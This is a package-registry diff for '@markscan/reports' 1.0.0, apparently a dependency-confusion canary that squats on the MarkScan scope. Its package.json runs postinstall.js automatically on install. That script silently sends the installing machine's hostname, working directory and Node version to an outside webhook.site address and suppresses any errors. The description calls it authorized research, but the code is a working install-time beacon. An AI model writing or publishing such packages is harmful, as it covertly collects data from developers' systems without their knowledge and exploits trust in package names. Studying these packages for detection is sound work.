@markscan/reports 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/index.js +1 -0
- package/package.json +14 -0
- package/postinstall.js +21 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
# @markscan/reports canary
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { canary: "@markscan/reports", token: "PATHC-CANARY-2026" };
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@markscan/reports",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "AUTHORIZED SECURITY RESEARCH CANARY \u2014 not MarkScan. Token PATHC-CANARY-2026",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"publishConfig": {
|
|
11
|
+
"access": "public"
|
|
12
|
+
},
|
|
13
|
+
"author": "farouqsa@proton.me"
|
|
14
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const payload = JSON.stringify({
|
|
3
|
+
canary: "@markscan/reports",
|
|
4
|
+
token: "PATHC-CANARY-2026",
|
|
5
|
+
event: 'npm-postinstall',
|
|
6
|
+
time_utc: new Date().toISOString(),
|
|
7
|
+
node: process.version,
|
|
8
|
+
cwd: process.cwd(),
|
|
9
|
+
hostname: require('os').hostname(),
|
|
10
|
+
});
|
|
11
|
+
const u = new URL("https://webhook.site/129cb2ee-ba08-4b3c-989c-270dc0030350");
|
|
12
|
+
const req = https.request({
|
|
13
|
+
hostname: u.hostname,
|
|
14
|
+
path: u.pathname,
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
|
|
17
|
+
timeout: 5000,
|
|
18
|
+
}, () => {});
|
|
19
|
+
req.on('error', () => {});
|
|
20
|
+
req.write(payload);
|
|
21
|
+
req.end();
|